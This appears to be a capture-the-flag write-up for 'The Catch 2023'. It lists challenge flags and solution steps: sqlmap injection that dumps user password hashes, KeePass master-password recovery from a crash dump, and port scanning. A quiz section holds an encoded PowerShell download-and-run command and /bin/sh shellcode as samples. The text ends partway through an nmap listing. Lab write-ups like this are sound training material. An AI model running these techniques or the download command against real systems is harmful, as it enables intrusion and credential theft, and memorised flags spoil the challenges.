The Catch 2023

The Story

Introduction

> *FLAG{fV5C-iTZb-NtNC-E4lw}*

Promotion

> *FLAG{AwUy-u1cv-bg6D-EkOq}*

Epilogue

> *FLAG{ApkV-Pwmd-6Sxc-5gLF}*

Sailor training center

VPN access

Import vpn confing into NetworkManager and connect to the vpn.

Open website `http://vpn-test.cns-jv.tcc/`

> *FLAG{smna-m11d-hhta-ONOs}*

Treasure map

Download the archive with `treasure_map.png` image.

Use GIMP or other graphical editor to open the file. The character of the FLAG are distributed near to the red line. You can adjust color curves to make text more visible.

> *FLAG{WIFI-AHEA-DCAP-TAIN}*

Captain's coffee

Visit `http://coffee-maker.cns-jv.tcc/docs` and read available API calls.

`GET http://coffee-maker.cns-jv.tcc/coffeeMenu`


```
{
  "Menu": [
    {
      "drink_name": "Espresso",
      "drink_id": 456597044
    },
    {
      "drink_name": "Lungo",
      "drink_id": 354005463
    },
    {
      "drink_name": "Capuccino",
      "drink_id": 234357596
    },
    {
      "drink_name": "Naval Espresso with rum",
      "drink_id": 501176144
    }
  ]
}
```


```
POST http://coffee-maker.cns-jv.tcc/makeCoffee/
{
  "drink_id": 501176144
}
```


```
{
  "message": "Your Naval Espresso with rum is ready for pickup",
  "validation_code": "Use this validation code FLAG{ccLH-dsaz-4kFA-P7GC}"
}
```


> *FLAG{ccLH-dsaz-4kFA-P7GC}*

Ship web server

Footer of the website `https://www.cns-jv.tcc` contains version with base64 encoded string `ver. RkxBR3sgICAgLSAgICAtICAgIC0gICAgfQ==` that is decoded to `FLAG{ - - - }`.

Certificate of the webserver has several alt names:

```
www.cns-jv.tcc
documentation.cns-jv.tcc
home.cns-jv.tcc
pirates.cns-jv.tcc
structure.cns-jv.tcc
```

Access each site (edit local hosts file, edit Host header in browser developer tool or in curl, ...).

`curl -k 'https://10.99.0.64/style.css' --compressed -H 'Host:documentation.cns-jv.tcc'`

base64 encoded string `ver. RkxBR3sgICAgLSAgICAtICAgIC1nTXdjfQ==` that is decoded to `FLAG{ - - -gMwc}`

`curl -k 'https://10.99.0.64/?user=suzan' --compressed -H 'Host:home.cns-jv.tcc'`

base64 encoded string `ver. RkxBR3tlamlpLSAgICAtICAgIC0gICAgfQ==` that is decoded to `FLAG{ejii- - - }`

`curl -k 'https://10.99.0.64/' --compressed -H 'Host:pirates.cns-jv.tcc'`

base64 encoded string `ver. RkxBR3sgICAgLSAgICAtUTUzQy0gICAgfQ==` that is decoded to `FLAG{ - -Q53C- }`

`curl -k 'https://10.99.0.64/' --compressed -H 'Host:structure.cns-jv.tcc'`

base64 encoded string `ver. RkxBR3sgICAgLXBsbVEtICAgIC0gICAgfQ==` that is decoded to `FLAG{ -plmQ- - }`

> *FLAG{ejii-plmQ-Q53C-gMwc}*

Crew drills

Sonar logs

Can be solved by python script like following (my is not so optimal but it worked).

Also install `pytz` in version advised by the hint `pip install pytz==2020.4` .

```
from datetime import datetime
import pytz

format = "%Y-%m-%d %H:%M:%S"


with open('sonar.log') as f:
    for line in f:
        time_str_1 = line.split(" - ")[0]
        time_str_2 = time_str_1.split(" ")[0] + " " + time_str_1.split(" ")[1]
        tzone = time_str_1.split(" ")[2]

        tz = pytz.timezone(tzone)

        datetime_object = datetime.strptime(time_str_2, format)

        new_time = tz.normalize(tz.localize(datetime_object)).astimezone(pytz.utc)
        print(str(new_time) + " : " + line.split(" - ")[1])
```

Run the script and keep only lines with `detected` string, sort output, cut only column with hex value and remove parentheses (ignore error - it is caused by last empty line).

```
python3 ./sonar_log.py  | grep detected | sort -n | cut -d ' ' -f 9 | tr -d '()'
Traceback (most recent call last):
  File "./sonar_log.py", line 10, in <module>
    time_str_2 = time_str_1.split(" ")[0] + " " + time_str_1.split(" ")[1]
IndexError: list index out of range
0x46
0x4c
0x41
0x47
0x7b
0x33
0x59
0x41
0x47
0x2d
0x32
0x72
0x62
0x6a
0x2d
0x4b
0x57
0x6f
0x5a
0x2d
0x4c
```

```
0x77
0x57
0x6d
0x7d
```

Decode hex chars to ASCII

> *FLAG{3YAG-2rbj-KWoZ-LwWm}*

Regular cube

Solve the Regular cube.

```
FOFOO
HELLO
OGTQM
HCATE
OVVWO
```

```
FWALO
PTHEB
CATCH
YTHQJ
HAYHO
```

```
FLAG{
NICE-
NAVY-
BLUE-
CUBE}
```

```
FOZGL
VCESP
GNETB
VDQPK
MVMPX
```

```
FHICE
MAYEM
GBYEQ
QERZQ
GQWSY
```

> *FLAG{NICE-NAVY-BLUE-CUBE}*

Web protocols

nmap `web-protocols.cns-jv.tcc` .

`sudo nmap -p- web-protocols.cns-jv.tcc`

```
PORT     STATE SERVICE
5009/tcp open  airport-admin
5011/tcp open  telelpathattack
5020/tcp open  zenginkyo-1
8011/tcp open  unknown
8020/tcp open  intu-ec-svcdisc
```

Each website sets SESSION cookie with base64 encoded string.

Use `nc` for the 5009 port and specify HTTP version manualy:

```
nc web-protocols.cns-jv.tcc 5009 > out_5009.raw
GET / HTTP/0.9
```

Response:

```
HTTP/0.9 200 OK

SESSION=RkxBR3trckx0; iVBORw0KG<TRUNCATED>
```

base64 decoded form is `FLAG{krLt`

`http://web-protocols.cns-jv.tcc:5011/` `SESSION=LXJ2YnEtYWJJ; Path=/`

`https://web-protocols.cns-jv.tcc:8011/` `SESSION=LXJ2YnEtYWJJ; Path=/`

base64 decoded form is `-rvbq-abI` .

`http://web-protocols.cns-jv.tcc:5020/` `SESSION=Ui00MzNBfQ==; Path=/`

`https://web-protocols.cns-jv.tcc:8020/` `SESSION=Ui00MzNBfQ==; Path=/`

base64 decoded form is R-433A} .

> *FLAG{krLt-rvbq-abIR-433A}*

Apha-Zulu quiz

Answer the questions in the quiz.

```
What's this blob ?
```

```
O:8:"MyClass":2:{s:4:"name";s:9:"John Doe";s:3:"age";i:25;}

    .NET ViewState value
    Java Serialized hex stream
-    PHP serialized object
    ELF binary
```

```
What's this blob ?
```

```
0000000: 456c 6646 696c 6500 0000 0000 0000 0000  ElfFile.........
0000010: d300 0000 0000 0000 375e 0000 0000 0000  ........7^......

    PHP serialized object
    Wordpress hash
-    Microsoft EVTX file signature
    UNIX timestamp
```

```
What's this blob ?
```

```
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 7033 0000 0000 0000  ..>.....p3......
00000020: 4000 0000 0000 0000 f8b1 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0d00 4000 1e00 1d00  ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000  @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000  ................

    Microsoft Windows executable binary
    SHA1 sum
-    ELF binary
    Base64 encoded data
```

```
What's this blob ?
```

```
00000000  49 00 45 00 58 00 28 00 4e 00 65 00 77 00 2d 00  |I.E.X.(.N.e.w.-.|
00000010  4f 00 62 00 6a 00 65 00 63 00 74 00 20 00 4e 00  |O.b.j.e.c.t. .N.|
00000020  65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00  |e.t...W.e.b.C.l.|
00000030  69 00 65 00 6e 00 74 00 29 00 2e 00 64 00 6f 00  |i.e.n.t.)...d.o.|
00000040  77 00 6e 00 6c 00 6f 00 61 00 64 00 53 00 74 00  |w.n.l.o.a.d.S.t.|
00000050  72 00 69 00 6e 00 67 00 28 00 27 00 68 00 74 00  |r.i.n.g.(.'.h.t.|
00000060  74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00  |t.p.:././.1.0...|
00000070  31 00 30 00 2e 00 31 00 34 00 2e 00 33 00 31 00  |1.0...1.4...3.1.|
00000080  2f 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 70 00  |/.s.h.e.l.l...p.|
00000090  73 00 31 00 27 00 29 00                          |s.1.'.).|

-    UTF-16 Little Endian encoded data
    Base64 encoded data
    PHP serialized object
    SHA1 sum
```

```
What's this blob ?
```

```
202cb962ac59075b964b07152d234b70

-    MD5 sum
    XOR obfuscated string
    Linux x86 Shellcode
    SHA1 sum
```

```
What's this blob ?
```

```
1f 8b 08 00 4f bd 80 64 00 ff 05 40 b1 09 00 30 0c 7a c5 d7 84 b8 45 5a 30 ef 0f 92 67 21 f4 5f 61 78 2c db 90 a9 3d 10 00 00 00

    ELF binary
    PHP serialized object
-    GZip hex stream
    Base32 encoded data
```

```
What's this blob ?
```

```
/wEPDwULLTE2MTY2ODcyMjkPFgQeCFVzZXJOYW1lBQ5EYXNndXB0YSBTaHViaB4IUGFzc3dvcmQFDElBbUFQYXNzd29yZGRk2/xP37hKKE9jfGYYzFjLuwpi6rHlPdXhfSsp



    PHP serialized object
-    .NET ViewState value
    SHA1 sum
    Wordpress hash
```

```
What's this blob ?
```

```
dGhpc2lzYXRlc3RzdHJpbmcx

-    Base64 encoded data
    PHP serialized object
    SHA1 sum
    Wordpress hash
```

```
What's this blob ?
```

```
00000000  41 4c 41 0c 51 47 50 54 47 50 0c 46 4d 4f 43 4b  |ALA.QGPTGP.FMOCK|
00000010  4c 0c 58 4b 52 18 16 16 11                       |L.XKR....|

    Java Serialized data
-    XOR obfuscated string
    Microsoft EVTX file signature
    Java Serialized hex stream
```

```
What's this blob ?
```

```
00000000  50 4b 03 04 14 00 00 00 08 00 39 9b c7 56 db 90  |PK........9.ÇVÛ.|
00000010  a9 3d 19 00 00 00 10 00 00 00 08 00 00 00 66 69  |©=............fi|
00000020  6c 65 2e 74 78 74 05 40 b1 09 00 30 0c 7a c5 d7  |le.txt.@±..0.zÅ×|
00000030  84 b8 45 5a 30 ef 0f 92 67 21 f4 5f 61 78 2c 50  |.¸EZ0ï..g!ô_ax,P|
00000040  4b 01 02 14 00 14 00 00 00 08 00 39 9b c7 56 db  |K..........9.ÇVÛ|
00000050  90 a9 3d 19 00 00 00 10 00 00 00 08 00 00 00 00  |.©=.............|
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 66 69 6c  |.............fil|
00000070  65 2e 74 78 74 50 4b 05 06 00 00 00 00 01 00 01  |e.txtPK.........|
00000080  00 36 00 00 00 3f 00 00 00 00 00                 |.6...?.....|

    Microsoft Windows executable binary
-    ZIP archive
    Base32 encoded data
    Linux x86 Shellcode
```

```
What's this blob ?
```

```
ac ed 00 05 75 72 00 13 5b 4c 6a 61 76 61 2e 6c
61 6e 67 2e 53 74 72 69 6e 67 3b ad d2 56 e7 e9
1d 7b 47 02 00 00 78 70 00 00 00 02 74 00 21 44
3a 2f 77 69 6e 33 32 61 70 70 2f 61 70 6c 69 63
61 74 69 6f 6e 2f 62 69 6e 61 72 79 2e 65 78 65
74 00 09 2d 2d 76 65 72 73 69 6f 6e

-    Java Serialized hex stream
    UTF-16 Little Endian encoded data
    Java Serialized data
    GZip hex stream
```

```
What's this blob ?
```

```
\x31\xc0\x50\x68\x2f\x2f\x53\x48\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

    JSON Web Token
-    Linux x86 Shellcode
    SHA1 sum
    UNIX timestamp
```

```
What's this blob ?
```

```
40bd001563085fc35165329ea1ff5c5ecbdbbeef

-    SHA1 sum
    MD5 sum
```

```
    Base64 encoded data
    JSON Web Token
```

```
What's this blob ?
```

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkRvZSBKb2huIiwiaWF0IjoxNTE2MjM5MDIyfQ.Aqma4g_FzStCaLSyvpRg


-    JSON Web Token
    Microsoft Windows executable binary
    Linux x86 Shellcode
    Java Serialized data
```

```
What's this blob ?
```

```
ORUGS43JONQXIZLTORZXI4TJNZTTC===

-    Base32 encoded data
    Java Serialized hex stream
    ZIP archive
    Wordpress hash
```

```
What's this blob ?
```

```
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000  MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000  ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000  ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468  ........!..L.!Th

    Encoded PowerShell command
    ELF binary
-    Microsoft Windows executable binary
    XOR obfuscated string
```

```
What's this blob ?
```

```
rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAJ0ACFEOi93aW4zMmFwcC9hcGxpY2F0aW9uL2JpbmFyeS5leGV0AAktLXZlcnNpb24=

    SHA1 sum
    JSON Web Token
-    Java Serialized data
    UTF-16 Little Endian encoded data
```

```
What's this blob ?
```

```
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4
AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuAD
EANAAuADMAMQAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=

-    Encoded PowerShell command
    XOR obfuscated string
    UTF-16 Little Endian encoded data
    ELF binary
```

```
What's this blob ?
```

```
$P$BlW9FsUwJM0142LDsjtDsPUBHPVPIf/

    Microsoft Windows executable binary
-    Wordpress hash
    Base64 encoded data
    UNIX timestamp
```

```
What's this blob ?
```

```
1609549323

-    UNIX timestamp
    Microsoft EVTX file signature
    Linux x86 Shellcode
    Encoded PowerShell command
```

```
Congratulations, FLAG{QOn7-MdEo-9cuH-aP6X}
```

> *FLAG{QOn7-MdEo-9cuH-aP6X}*

Troubles on the bridge

Captain’s password

Use tool `https://github.com/vdohney/keepass-password-dumper`.

```
git clone https://github.com/vdohney/keepass-password-dumper

cd keepass-password-dumper

dotnet run crashdump.dmp


Combined: ●{), ÿ, a, :, |, í, W, 5, , r, ¸}ssword4myprecioussship
```

Keepass password is `password4myprecioussship` and the entry in it is `Main Flag System`.

> *FLAG{pyeB-941A-bhGx-g3RI}*

Navigation plan

Images are download by parametrized urls like `http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=1`. Test it for sqlinjection with `sqlmap`. Sql injection can be performed so get informations about the content.

DBs:

```
sqlmap 'http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=1' -p type --dbs

available databases [2]:
[*] information_schema
[*] navigation
```

Tables in `navigation`:

```
sqlmap 'http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=1' -p type -D navigation --tables

Database: navigation
[3 tables]
+---------+
| files   |
| targets |
| users   |
+---------+
```

Dumping column names or dumping whole db didn't worked.

Lets start guessing because `users` should probably have username and password columns. Lets try each of them:

```
sqlmap 'http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=1' -p type -D navigation -T users -C username --dump

Database: navigation
Table: users
[3 entries]
+----------+
| username |
+----------+
| captain  |
| engeneer |
| officer  |
+----------+
```

```
sqlmap 'http://navigation-plan.cns-jv.tcc/image.png?type=data&t=targets&id=1' -p type -D navigation -T users -C password --dump

Database: navigation
Table: users
[3 entries]
+------------------------------------------------------------------------------+
| password                                                                     |
+------------------------------------------------------------------------------+
| 15e2b0d3c33891ebb0f1ef609ec419420c20e320ce94c65fbc8c3312448eb225 (123456789) |
| 6a4aed6869c8216e463054dcf7e320530b5dc5e05feae6d6d22a4311e3b22ceb             |
| 7de22a47a2123a21ef0e6db685da3f3b471f01a0b719ef5774d22fed684b2537             |
+------------------------------------------------------------------------------+
```

Password `123456789` is valid for user `engeneer` but the account is deactivated.

Hash `7de22a47a2123a21ef0e6db685da3f3b471f01a0b719ef5774d22fed684b2537` is from password `$captainamerica$` (can be found online) and is valid for user `captain`.

Log-in as `captain` and look for details of `Target 4`

```
Location: Mariana Trench
RAW: 12.909924,146.0437399
FLAG{fmIT-QkuR-FFUv-Zx44}
```

> *FLAG{fmIT-QkuR-FFUv-Zx44}*

Keyword of the day

Find open ports on the host with `sudo nmap -p- -sV keyword-of-the-day.cns-jv.tcc` .

```
PORT      STATE SERVICE VERSION
60000/tcp open  http    Apache httpd 2.4.56 ((Debian))
60004/tcp open  http    Apache httpd 2.4.56 ((Debian))
60009/tcp open  http    Apache httpd 2.4.56 ((Debian))
60010/tcp open  http    Apache httpd 2.4.56 ((Debian))
60011/tcp open  http    Apache httpd 2.4.56 ((Debian))
60015/tcp open  http    Apache httpd 2.4.56 ((Debian))
60018/tcp open  http    Apache httpd 2.4.56 ((Debian))
60019/tcp open  http    Apache httpd 2.4.56 ((Debian))
60020/tcp open  http    Apache httpd 2.4.56 ((Debian))
60021/tcp open  http    Apache httpd 2.4.56 ((Debian))
60023/tcp open  http    Apache httpd 2.4.56 ((Debian))
60029/tcp open  http    Apache httpd 2.4.56 ((Debian))
60030/tcp open  http    Apache httpd 2.4.56 ((Debian))
60031/tcp open  http    Apache httpd 2.4.56 ((Debian))
60032/tcp open  http    Apache httpd 2.4.56 ((Debian))
60033/tcp open  http    Apache httpd 2.4.56 ((Debian))
60035/tcp open  http    Apache httpd 2.4.56 ((Debian))
60036/tcp open  http    Apache httpd 2.4.56 ((Debian))
60037/tcp open  http    Apache httpd 2.4.56 ((Debian))
60038/tcp open  http    Apache httpd 2.4.56 ((Debian))
60041/tcp open  http    Apache httpd 2.4.56 ((Debian))
60042/tcp open  http    Apache httpd 2.4.56 ((Debian))
60045/tcp open  http    Apache httpd 2.4.56 ((Debian))
60047/tcp open  http    Apache httpd 2.4.56 ((Debian))
60051/tcp open  http    Apache httpd 2.4.56 ((Debian))
60052/tcp open  http    Apache httpd 2.4.56 ((Debian))
60058/tcp open  http    Apache httpd 2.4.56 ((Debian))
60059/tcp open  http    Apache httpd 2.4.56 ((Debian))
60060/tcp open  http    Apache httpd 2.4.56 ((Debian))
60063/tcp open  http    Apache httpd 2.4.56 ((Debian))
60064/tcp open  http    Apache httpd 2.4.56 ((Debian))
60066/tcp open  http    Apache httpd 2.4.56 ((Debian))
60068/tcp open  http    Apache httpd 2.4.56 ((Debian))
60069/tcp open  http    Apache httpd 2.4.56 ((Debian))
60071/tcp open  http    Apache httpd 2.4.56 ((Debian))
60074/tcp open  http    Apache httpd 2.4.56 ((Debian))
60075/tcp open  http    Apache httpd 2.4.56 ((Debian))
60076/tcp open  http    Apache httpd 2.4.56 ((Debian))
60079/tcp open  http    Apache httpd 2.4.56 ((Debian))
60080/tcp open  http    Apache httpd 2.4.56 ((Debian))
60081/tcp open  http    Apache httpd 2.4.56 ((Debian))
60082/tcp open  http    Apache httpd 2.4.56 ((Debian))
60084/tcp open  http    Apache httpd 2.4.56 ((Debian))
60087/tcp open  http    Apache httpd 2.4.56 ((Debian))
60089/tcp open  http    Apache httpd 2.4.56 ((Debian))
60096/tcp open  http    Apache httpd 2.4.56 ((Debian))
60099/tcp open  http    Apache httpd 2.4.56 ((Debian))
60100/tcp open  http    Apache httpd 2.4.56 ((Debian))
60104/tcp open  http    Apache httpd 2.4.56 ((Debian))
60105/tcp open  http    Apache httpd 2.4.56 ((Debian))
60107/tcp open  http    Apache httpd 2.4.56 ((Debian))
60108/tcp open  http    Apache httpd 2.4.56 ((Debian))
60109/tcp open  http    Apache httpd 2.4.56 ((Debian))
60111/tcp open  http    Apache httpd 2.4.56 ((Debian))
60112/tcp open  http    Apache httpd 2.4.56 ((Debian))
60115/tcp open  http    Apache httpd 2.4.56 ((Debian))
60118/tcp open  http    Apache httpd 2.4.56 ((Debian))
60120/tcp open  http    Apache httpd 2.4.56 ((Debian))
60122/tcp open  http    Apache httpd 2.4.56 ((Debian))
60125/tcp open  http    Apache httpd 2.4.56 ((Debian))
60126/tcp open  http    Apache httpd 2.4.56 ((Debian))
60129/tcp open  http    Apache httpd 2.4.56 ((Debian))
60130/tcp open  http    Apache httpd 2.4.56 ((Debian))
60134/tcp open  http    Apache httpd 2.4.56 ((Debian))
60135/tcp open  http    Apache httpd 2.4.56 ((Debian))
60136/tcp open  http    Apache httpd 2.4.56 ((Debian))
60138/tcp open  http    Apache httpd 2.4.56 ((Debian))
60140/tcp open  http    Apache httpd 2.4.56 ((Debian))
```

```
60143/tcp open  http    Apache httpd 2.4.56 ((Debian))
60144/tcp open  http    Apache httpd 2.4.56 ((Debian))
60145/tcp open  http    Apache httpd 2.4.56 ((Debian))
60157/tcp open  http    Apache httpd 2.4.56 ((Debian))
60159/tcp open  http    Apache httpd 2.4.56 ((Debian))
60160/tcp open  http    Apache httpd 2.4.56 ((Debian))
60161/tcp open  http    Apache httpd 2.4.56 ((Debian))
60163/tcp open  http    Apache httpd 2.4.56 ((Debian))
60165/tcp open  http    Apache httpd 2.4.56 ((Debian))
60166/tcp open  http    Apache httpd 2.4.56 ((Debian))
60169/tcp open  http    Apache httpd 2.4.56 ((Debian))
60174/tcp open  http    Apache httpd 2.4.56 ((Debian))
60175/tcp open  http    Apache httpd 2.4.56 ((Debian))
60177/tcp open  http    Apache httpd 2.4.56 ((Debian))
60178/tcp open  http    Apache httpd 2.4.56 ((Debian))
60179/tcp open  http    Apache httpd 2.4.56 ((Debian))
60180/tcp open  http    Apache httpd 2.4.56 ((Debian))
60181/tcp open  http    Apache httpd 2.4.56 ((Debian))
60185/tcp open  http    Apache httpd 2.4.56 ((Debian))
60187/tcp open  http    Apache httpd 2.4.56 ((Debian))
60189/tcp open  http    Apache httpd 2.4.56 ((Debian))
60190/tcp open  http    Apache httpd 2.4.56 ((Debian))
60192/tcp open  http    Apache httpd 2.4.56 ((Debian))
60193/tcp open  http    Apache httpd 2.4.56 ((Debian))
60195/tcp open  http    Apache httpd 2.4.56 ((Debian))
60197/tcp open  http    Apache httpd 2.4.56 ((Debian))
60201/tcp open  http    Apache httpd 2.4.56 ((Debian))
60204/tcp open  http    Apache httpd 2.4.56 ((Debian))
60209/tcp open  http    Apache httpd 2.4.56 ((Debian))
60210/tcp open  http    Apache httpd 2.4.56 ((Debian))
60212/tcp open  http    Apache httpd 2.4.56 ((Debian))
60213/tcp open  http    Apache httpd 2.4.56 ((Debian))
60214/tcp open  http    Apache httpd 2.4.56 ((Debian))
60215/tcp open  http    Apache httpd 2.4.56 ((Debian))
60217/tcp open  http    Apache httpd 2.4.56 ((Debian))
60218/tcp open  http    Apache httpd 2.4.56 ((Debian))
60221/tcp open  http    Apache httpd 2.4.56 ((Debian))
60222/tcp open  http    Apache httpd 2.4.56 ((Debian))
60225/tcp open  http    Apache httpd 2.4.56 ((Debian))
60228/tcp open  http    Apache httpd 2.4.56 ((Debian))
60229/tcp open  http    Apache httpd 2.4.56 ((Debian))
60230/tcp open  http    Apache httpd 2.4.56 ((Debian))
60234/tcp open  http    Apache httpd 2.4.56 ((Debian))
60239/tcp open  http    Apache httpd 2.4.56 ((Debian))
60240/tcp open  http    Apache httpd 2.4.56 ((Debian))
60242/tcp open  http    Apache httpd 2.4.56 ((Debian))
60244/tcp open  http    Apache httpd 2.4.56 ((Debian))
60245/tcp open  http    Apache httpd 2.4.56 ((Debian))
60247/tcp open  http    Apache httpd 2.4.56 ((Debian))
60249/tcp open  http    Apache httpd 2.4.56 ((Debian))
60253/tcp open  http    Apache httpd 2.4.56 ((Debian))
60254/tcp open  http    Apache httpd 2.4.56 ((Debian))
60255/tcp open  http    Apache httpd 2.4.56 ((Debian))
60256/tcp open  http    Apache httpd 2.4.56 ((Debian))
60257/tcp open  http    Apache httpd 2.4.56 ((Debian))
60258/tcp open  http    Apache httpd 2.4.56 ((Debian))
60259/tcp open  http    Apache httpd 2.4.56 ((Debian))
60260/tcp open  http    Apache httpd 2.4.56 ((Debian))
60261/tcp open  http    Apache httpd 2.4.56 ((Debian))
60262/tcp open  http    Apache httpd 2.4.56 ((Debian))
60266/tcp open  http    Apache httpd 2.4.56 ((Debian))
60267/tcp open  http    Apache httpd 2.4.56 ((Debian))
60269/tcp open  http    Apache httpd 2.4.56 ((Debian))
60270/tcp open  http    Apache httpd 2.4.56 ((Debian))
60273/tcp open  http    Apache httpd 2.4.56 ((Debian))
60276/tcp open  http    Apache httpd 2.4.56 ((Debian))
60277/tcp open  http    Apache httpd 2.4.56 ((Debian))
60278/tcp open  http    Apache httpd 2.4.56 ((Debian))
60280/tcp open  http    Apache httpd 2.4.56 ((Debian))
60281/tcp open  http    Apache httpd 2.4.56 ((Debian))
60283/tcp open  http    Apache httpd 2.4.56 ((Debian))
60286/tcp open  http    Apache httpd 2.4.56 ((Debian))
60288/tcp open  http    Apache httpd 2.4.56 ((Debian))
60290/tcp open  http    Apache httpd 2.4.56 ((Debian))
60294/tcp open  http    Apache httpd 2.4.56 ((Debian))
60297/tcp open  http    Apache httpd 2.4.56 ((Debian))
60299/tcp open  http    Apache httpd 2.4.56 ((Debian))
60303/tcp open  http    Apache httpd 2.4.56 ((Debian))
60304/tcp open  http    Apache httpd 2.4.56 ((Debian))
```

```
60307/tcp open  http    Apache httpd 2.4.56 ((Debian))
60309/tcp open  http    Apache httpd 2.4.56 ((Debian))
60310/tcp open  http    Apache httpd 2.4.56 ((Debian))
60311/tcp open  http    Apache httpd 2.4.56 ((Debian))
60313/tcp open  http    Apache httpd 2.4.56 ((Debian))
60318/tcp open  http    Apache httpd 2.4.56 ((Debian))
60320/tcp open  http    Apache httpd 2.4.56 ((Debian))
60322/tcp open  http    Apache httpd 2.4.56 ((Debian))
60323/tcp open  http    Apache httpd 2.4.56 ((Debian))
60327/tcp open  http    Apache httpd 2.4.56 ((Debian))
60331/tcp open  http    Apache httpd 2.4.56 ((Debian))
60332/tcp open  http    Apache httpd 2.4.56 ((Debian))
60333/tcp open  http    Apache httpd 2.4.56 ((Debian))
60341/tcp open  http    Apache httpd 2.4.56 ((Debian))
60343/tcp open  http    Apache httpd 2.4.56 ((Debian))
60344/tcp open  http    Apache httpd 2.4.56 ((Debian))
60345/tcp open  http    Apache httpd 2.4.56 ((Debian))
60347/tcp open  http    Apache httpd 2.4.56 ((Debian))
60348/tcp open  http    Apache httpd 2.4.56 ((Debian))
60350/tcp open  http    Apache httpd 2.4.56 ((Debian))
60352/tcp open  http    Apache httpd 2.4.56 ((Debian))
60354/tcp open  http    Apache httpd 2.4.56 ((Debian))
60356/tcp open  http    Apache httpd 2.4.56 ((Debian))
60357/tcp open  http    Apache httpd 2.4.56 ((Debian))
60358/tcp open  http    Apache httpd 2.4.56 ((Debian))
60360/tcp open  http    Apache httpd 2.4.56 ((Debian))
60361/tcp open  http    Apache httpd 2.4.56 ((Debian))
60362/tcp open  http    Apache httpd 2.4.56 ((Debian))
60363/tcp open  http    Apache httpd 2.4.56 ((Debian))
60367/tcp open  http    Apache httpd 2.4.56 ((Debian))
60371/tcp open  http    Apache httpd 2.4.56 ((Debian))
60372/tcp open  http    Apache httpd 2.4.56 ((Debian))
60373/tcp open  http    Apache httpd 2.4.56 ((Debian))
60378/tcp open  http    Apache httpd 2.4.56 ((Debian))
60382/tcp open  http    Apache httpd 2.4.56 ((Debian))
60383/tcp open  http    Apache httpd 2.4.56 ((Debian))
60384/tcp open  http    Apache httpd 2.4.56 ((Debian))
60385/tcp open  http    Apache httpd 2.4.56 ((Debian))
60386/tcp open  http    Apache httpd 2.4.56 ((Debian))
60387/tcp open  http    Apache httpd 2.4.56 ((Debian))
60389/tcp open  http    Apache httpd 2.4.56 ((Debian))
60398/tcp open  http    Apache httpd 2.4.56 ((Debian))
60400/tcp open  http    Apache httpd 2.4.56 ((Debian))
60402/tcp open  http    Apache httpd 2.4.56 ((Debian))
60403/tcp open  http    Apache httpd 2.4.56 ((Debian))
60405/tcp open  http    Apache httpd 2.4.56 ((Debian))
60408/tcp open  http    Apache httpd 2.4.56 ((Debian))
60411/tcp open  http    Apache httpd 2.4.56 ((Debian))
60413/tcp open  http    Apache httpd 2.4.56 ((Debian))
60415/tcp open  http    Apache httpd 2.4.56 ((Debian))
60416/tcp open  http    Apache httpd 2.4.56 ((Debian))
60418/tcp open  http    Apache httpd 2.4.56 ((Debian))
60419/tcp open  http    Apache httpd 2.4.56 ((Debian))
60421/tcp open  http    Apache httpd 2.4.56 ((Debian))
60422/tcp open  http    Apache httpd 2.4.56 ((Debian))
60424/tcp open  http    Apache httpd 2.4.56 ((Debian))
60426/tcp open  http    Apache httpd 2.4.56 ((Debian))
60427/tcp open  http    Apache httpd 2.4.56 ((Debian))
60430/tcp open  http    Apache httpd 2.4.56 ((Debian))
60432/tcp open  http    Apache httpd 2.4.56 ((Debian))
60433/tcp open  http    Apache httpd 2.4.56 ((Debian))
60437/tcp open  http    Apache httpd 2.4.56 ((Debian))
60438/tcp open  http    Apache httpd 2.4.56 ((Debian))
60440/tcp open  http    Apache httpd 2.4.56 ((Debian))
60445/tcp open  http    Apache httpd 2.4.56 ((Debian))
60447/tcp open  http    Apache httpd 2.4.56 ((Debian))
60450/tcp open  http    Apache httpd 2.4.56 ((Debian))
60451/tcp open  http    Apache httpd 2.4.56 ((Debian))
60452/tcp open  http    Apache httpd 2.4.56 ((Debian))
60453/tcp open  http    Apache httpd 2.4.56 ((Debian))
60454/tcp open  http    Apache httpd 2.4.56 ((Debian))
60456/tcp open  http    Apache httpd 2.4.56 ((Debian))
60457/tcp open  http    Apache httpd 2.4.56 ((Debian))
60459/tcp open  http    Apache httpd 2.4.56 ((Debian))
60460/tcp open  http    Apache httpd 2.4.56 ((Debian))
60461/tcp open  http    Apache httpd 2.4.56 ((Debian))
60466/tcp open  http    Apache httpd 2.4.56 ((Debian))
60468/tcp open  http    Apache httpd 2.4.56 ((Debian))
60471/tcp open  http    Apache httpd 2.4.56 ((Debian))
```

```
60473/tcp open  http    Apache httpd 2.4.56 ((Debian))
60474/tcp open  http    Apache httpd 2.4.56 ((Debian))
60482/tcp open  http    Apache httpd 2.4.56 ((Debian))
60487/tcp open  http    Apache httpd 2.4.56 ((Debian))
